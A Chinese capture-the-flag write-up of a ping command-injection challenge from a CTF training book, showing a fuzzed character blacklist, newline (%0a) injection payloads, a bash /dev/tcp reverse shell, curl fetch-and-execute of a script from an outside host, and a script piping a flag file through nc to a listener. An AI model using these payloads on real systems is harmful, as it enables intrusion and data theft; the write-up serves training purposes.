[第二章 web进阶]死亡ping命令
介绍:记录一下笔记,方便以后迅速回忆使用。
《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》
准备工作
-
首先在BUUCTF/Basic/Linux Labs开一个靶机
-
使用ssh命令连接
ssh -p 28412 root@node3.buuoj.cn
node3.buuoj.cn:28412
C:\WINDOWS\system32>ssh -p 28412 root@node3.buuoj.cn
root@node3.buuoj.cn's password:
Last login: Fri Feb 26 02:26:13 2021 from 172.16.128.14
- 其实这也是道题,也是有flag,好吧,先不管这个
root@eef94e4eb444:/# cd ..
root@eef94e4eb444:/# sl
-bash: sl: command not found
root@eef94e4eb444:/# ls
bd_build boot etc get-pip.py lib media opt root sbin sys usr
bin dev flag.txt home lib64 mnt proc run srv tmp var
root@eef94e4eb444:/# cat flag.txt
flag{a22846a4-5a80-4578-8a3c-22cd4e772e28}
root@eef94e4eb444:/#
- 查看本机公网IP
root@ea1f42b1ee35:/# curl cip.cc
IP : 111.73.45.68
地址 : 中国 江西 上饶
运营商 : 电信
数据二 : 江西省上饶市 | 电信
数据三 : 中国江西上饶 | 电信
URL : http://www.cip.cc/111.73.45.68
开始做题
-
存在一些黑名单过滤的,被拦截时候显示IP包含恶意字符,那我们先把这些字符找出来,这样后面就能更顺利。
-
一开始我的BurpSuite有中文乱码问题,先在这里修改一下,
快速解决BurpSuite中文乱码问题. -
或者更简单的方法就是就三种反馈结果,除去另外两个就是我们要,
Result:
IP Ping 成功.
IP Ping 失败.
IP包含恶意字符.
- (及利用fuzz的方式)所以知道能够知道过滤了以下字符:
["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"", "'", "~", "!", "@", "#", "%", "^", "*", "[", "]", "\\", ":", "-", "_"];
- 通过%0a能够注入新的一条命令进行执行。
ip=127.0.0.1%0als
- 由于docker是没有bash、python程序的,并且sh反弹是不行的。
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
- 目前是能通过折中的方式执行任意命令
<1>.编写1.sh,内容如下:
ls
cat /FLAG | nc your_buu_ip 8089
- 详细操作过程
root@eef94e4eb444:/# ls
root@ea1f42b1ee35:~# cd ../
root@ea1f42b1ee35:/# ls
bd_build boot etc get-pip.py lib media opt root sbin sys usr
bin dev flag.txt home lib64 mnt proc run srv tmp var
root@ea1f42b1ee35:/# vim 1.sh
root@ea1f42b1ee35:/# cat 1.sh
ls
cat /FLAG | nc 111.73.45.68 8089
<2>.请求bash文件到tmp目录
127.0.0.1%0acurl your_buu_ip/1.sh > /tmp/1.sh #请求bash文件到tmp目录
127.0.0.1%0acurl 111.73.45.68/1.sh > /tmp/1.sh
<3>.给bash加权限
127.0.0.1%0achmod 777 /tmp/1.sh
<4>.进行监听8080端口
- 172.16.128.14的机器上进行监听8080端口
nc -lvp 8089 #your_buu_ip的机器上进行监听8089端口
<5>.执行bash文件
127.0.0.1%0ash /tmp/1.sh #执行bash文件
-
但我试过8080,8089.都没有flag回显,后续原因我再看看,
-
但官方流程就是这样
-
官方Wp:
wp
通过可以发现是存在一些黑名单过滤的,被拦截时候显示IP包含恶意字符。
利用fuzz的方式能够知道过滤了以下字符:
["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"", "'", "~", "!", "@", "#", "%", "^", "*", "[", "]", "\\", ":", "-", "_"];
通过%0a能够注入新的一条命令进行执行。
POST /ping.php HTTP/1.1
Host: testabc.com:53340
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
ip=127.0.0.1%0awhoami>/tmp/aaaaa
由于docker是没有bash、python程序的,并且sh反弹是不行的。
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
目前是能通过折中的方式执行任意命令
请求bash文件到tmp目录
127.0.0.1%0acurl 172.16.128.14/1.sh > /tmp/1.sh
给bash加权限
127.0.0.1%0achmod 777 /tmp/1.sh
10.211.55.2的机器上进行监听8080端口
nc -l 8080
执行bash文件
127.0.0.1%0ash /tmp/1.sh
1.sh内容为
ls
cat /FLAG | nc 10.211.55.2 8080
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92726.html